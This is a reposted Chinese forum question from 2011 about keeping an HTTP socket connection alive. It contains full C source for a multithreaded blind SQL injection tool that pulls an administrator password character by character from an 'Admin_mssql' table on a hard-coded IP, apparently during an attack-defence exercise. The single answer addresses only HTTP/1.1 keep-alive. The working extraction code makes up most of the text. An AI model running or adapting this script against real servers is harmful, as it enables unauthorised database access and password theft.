关于网友提出的“ 求助关于socket发送http请求保持连接以连续发送请求的问题”问题疑问,本网通过在网上对“ 求助关于socket发送http请求保持连接以连续发送请求的问题”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:
问题: 求助关于socket发送http请求保持连接以连续发送请求的问题描述:
本帖最后由 Nightingale1029 于 2011-04-15 11:38:00 编辑
最近做网络攻防题,遇到sql注入,所以写了一个socket来猜字段有个问题就是我在HTTP请求中加上了keep-alive请求,结果第二次请求发送后,read总是返回0读取,请问这是什么原因呀~~~
就是我想一直保持和服务器的连接,然后发送连续的HTTP请求,不用每次都重新链接~~~设置了keep-alive选项后read就有问题了,不知道怎么做
现在我没办法只好用Conntection:close,然后每次重建套接字连接,求解~~~
附代码如下:
#include
#include
#include
#include
#include
#include
#include "KMPmatch_bate.c"
#include
#define BUFSIZE 4096
pthread_t tid[300];
char *pastr = "xing";
int failure[4];
void *require(void *);
int Connect(char *,int);
int get(int,char *);
int send_rec(int,char *,char *,int []);
int main()
{
int result;
int i;
//计算匹配
fail(failure,pastr);
//创建线程
for(i = 1;i <= 14;i++){
if((result = pthread_create(&tid[i],NULL,require,(void*)i)) != 0){
printf("%d thread creation is failed\nerrorstr:%s\n",i,strerror(result));
continue;
}
}
pthread_join(tid[i-1],NULL);
printf("\n");
exit(EXIT_SUCCESS);
}
int
Connect(char *addr_list,int port) //建立连接
{
int sockfd;
int len,result;
int count = 1;
struct sockaddr_in address;
sockfd = socket(AF_INET,SOCK_STREAM,0);
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = inet_addr(addr_list);
len = sizeof(address);
while(1){
if(connect(sockfd,(struct sockaddr *)&address,len) == -1){
perror("连接主机失败了~");
count++;
if(count == 5)
return -1;
printf("准备第 %d 次尝试\n",count);
}else{
break;
}
}
return sockfd;
}
int //GET方法
get(int sockfd,char *send)
{
int len;
len = strlen(send);
if(write(sockfd,send,len) != len){
perror("write wrong\n");
exit(1);
}
}
int
send_rec(int sockfd,char *send,char *pastr,int failure[])
{
char buf[BUFSIZE];
int temp = -1;
int len;
// puts(send);
get(sockfd,send);
while((len = read(sockfd,buf,BUFSIZE)) != -1 && len != 0){
//printf("\n----------------------------while: \n%s",buf);
if(temp == -1)
if(pmatch(buf,pastr,failure) != -1){
temp = 1;
break;
}
}
// printf("\n***************************************************end\n");
return temp;
}
void *
require(void* arg)
{
int i = (int)arg;
int j;
int temp;
int sockfd;
char buf[BUFSIZE];
char send[BUFSIZE];
int val;
//sockfd = Connect("210.41.224.207",80);
for(j = 49;j <= 122;j++){
if(j == 58 )
j += 7;
sockfd = Connect("210.41.224.207",80);
sprintf(send,"GET /asp/2/sqlserver.asp?newsid=1%%20AND%%20(SELECT%%20ASCII(SUBSTRING(passwd,%d,1))%%20FROM%%20Admin_mssql)%%3E%d HTTP/1.1\r\n\
Connection: close\r\n\
Cache-Control: no-cache\r\n\
Referer: www.game.myclover.org\r\n\
Host: www.game.myclover.org:80\n\r\n",i,j);
temp = send_rec(sockfd,send,pastr,failure);
if(temp == -1){
if(i != 1)
pthread_join(tid[i-1],NULL);
// printf("%3dth,%4d\n",i,j);
printf("%c",j);
pthread_exit((void*)0);
}
close(sockfd);
}
pthread_exit((void*)EXIT_SUCCESS);
}
解决方案1:
HTTP/1.1 默认就是keep-alive了
检查第一次服务器发回来的包时候包含connection:close, 可能服务器不支持长连接,不过这种可能性较小~